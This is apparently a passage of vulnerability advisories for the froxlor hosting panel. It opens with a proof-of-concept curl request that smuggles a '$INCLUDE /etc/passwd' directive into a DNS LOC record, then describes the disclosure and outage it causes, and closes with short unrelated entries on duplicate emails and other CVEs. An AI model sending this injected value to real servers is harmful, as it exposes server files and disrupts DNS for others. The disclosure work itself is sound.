bash curl -s -u "APIKEY:APISECRET" \ -H 'Content-Type: application/json' \ -d '{"command":"DomainZones.add","params":{"domainname":"example.com","type":"LOC","content":"0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd"}}' \ https://panel.example.com/api.php

Alternatively via the web UI, intercept the DNS editor form POST and set dnscontent to 0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd and dnstype to LOC.

After the DNS rebuild cron runs, the resulting zone file at {bindconfdirectory}/domains/example.com.zone will contain:

@ 18000 IN LOC 0 0 0 N 0 0 0 E 0 $INCLUDE /etc/passwd

BIND will process the $INCLUDE directive and attempt to parse /etc/passwd as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as bind/named user), confirming file existence and potentially leaking parseable lines as DNS records.

Impact

1. Information Disclosure: The $INCLUDE directive lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via the DomainZones.get API call or the DNS editor in the web UI.

2. DNS Service Disruption: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting $GENERATE directives could create massive record sets for amplification attacks.

3. Zone Data Manipulation: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.

Summary the vulnerability is that users (such as resellers or customers) are able to create accounts with the same email address as an existing account (e.g., if the admin has admin@froxlor.com, others can also create an account using the same email). This creates potential issues with account identification and security.

Impact Local/Authenticated: This vulnerability can be exploited by authenticated users (e.g., reseller, customer) who can create accounts with the same email address that has already been used by another account, such as the admin. Email-based: The attack vector is email-based, as the system does not prevent multiple accounts from registering the same email address, leading to possible conflicts and security issues.

Improper Encoding or Escaping of Output in GitHub repository froxlor/froxlor prior to 2.0.21.

Session Fixation in GitHub repository froxlor/froxlor prior to 2.1.0.

Improper Restriction of Excessive Authentication Attempts in GitHub repository froxlor/froxlor prior to 2.0.20.